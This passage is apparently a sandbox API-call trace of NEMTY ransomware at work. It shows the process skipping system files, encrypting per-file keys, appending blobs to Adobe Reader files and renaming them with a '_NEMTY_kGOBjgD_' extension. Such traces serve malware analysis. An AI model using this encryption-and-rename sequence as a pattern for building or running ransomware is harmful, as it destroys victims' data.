cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.464] Sleep (dwMilliseconds=0x5) [0170.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1941f6b0, dwHighDateTime=0x1d561e8)) [0170.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1941f6b0, dwHighDateTime=0x1d561e8)) [0170.475] GetLastError () returned 0x0 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.475] GetLastError () returned 0x0 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.475] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.475] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="8ugvwNzodFXgn7P9TUM6y5F6fA17rraZXHgNs5s0LE/bk3ukmU5AM6Adc7Vp1fzY\r\nJvMtxrUPe1Ij7lL2q85hREAyzAYN9X5W6GQj9CdgPUW6QxfauAEf1Ewo+Ltfaler\r\n+yekZjS22cUu0cZNiZI6iEamsVY3gSikhGPluOQN8oDBPAFt5oClesVJ+osFxcPu\r\n3yC5OQD56OFvW1wcr6xpQwp4NF6CJR0BvAMSev6tVIRwyI/6ujrgP23pzodvVjaC\r\nYXGbr9b8hWa+p0syrDhuzGz5GxUSYCfszSRB7a6zEfEKtfumY/p1Y8pBRUKfYlbA\r\n5WTHA3PsktPMatxrXWiHOw==\r\n", pcchString=0x653e91c) returned 1 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.476] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=6144) returned 1 [0170.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0170.476] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.476] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1800, lpOverlapped=0x0) returned 1 [0170.478] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.478] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1800, lpOverlapped=0x0) returned 1 [0170.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.478] SetFilePointer (in: hFile=0x254, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0170.478] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.478] CloseHandle (hObject=0x254) returned 1 [0170.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.478] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn._nemty_kgobjgd_")) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.479] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="..") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="...") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="windows") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="$RECYCLE.BIN") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="rsa") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="NTDETECT.COM") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="ntldr") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="MSDOS.SYS") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="IO.SYS") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="boot.ini") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="boot.ini") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="ntuser.dat") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="desktop.ini") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="CONFIG.SYS") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="RECYCLER") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="BOOTSECT.BAK") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="bootmgr") returned 1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="programdata") returned -1 [0170.479] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="appdata") returned 1 [0170.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.480] Sleep (dwMilliseconds=0x5) [0170.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19445810, dwHighDateTime=0x1d561e8)) [0170.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19445810, dwHighDateTime=0x1d561e8)) [0170.490] GetLastError () returned 0x0 [0170.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.490] GetLastError () returned 0x0 [0170.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.491] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.491] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="p8aQYreo+QrN31ZCwB2qDmMCIDcP1uyNEWcCiiWQWova0Wk/GJMqZRKmXCZ/K0FA\r\neTO8XS89aINXH0Tr0MqWUIyjgyTkCkLU+nJJCyGax0SFjr+eDfHGk/1tZ0xuF78O\r\nEuPXqIl746u+Zk5rEHcLVa6g9fB4jVtCwF5FFxrCqpP/oCzfr8jeqmQOT8ygpAus\r\nv7TikaQx14Vh/V45YbEaUOn2OK27MxmWJaMi73gybgunHeJtzX7FmpTfVjbiq6Dr\r\n/oFucYGHR8MhIzY4KLUUVCMCmJ5Eg5vsot7TRyS3mcVTpQ10cIW1ySUSluPiZAjz\r\naizqgJP/D3VhHAjvJVSJMg==\r\n", pcchString=0x653e91c) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.491] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.491] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.491] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.493] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.493] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.493] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.493] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.493] CloseHandle (hObject=0x254) returned 1 [0170.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.494] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor._nemty_kgobjgd_")) returned 1 [0170.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.495] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="..") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="...") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="windows") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="$RECYCLE.BIN") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="rsa") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="NTDETECT.COM") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="ntldr") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="MSDOS.SYS") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="IO.SYS") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="boot.ini") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="boot.ini") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="ntuser.dat") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="desktop.ini") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="CONFIG.SYS") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="RECYCLER") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="BOOTSECT.BAK") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="bootmgr") returned 1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="programdata") returned -1 [0170.495] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="appdata") returned 1 [0170.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 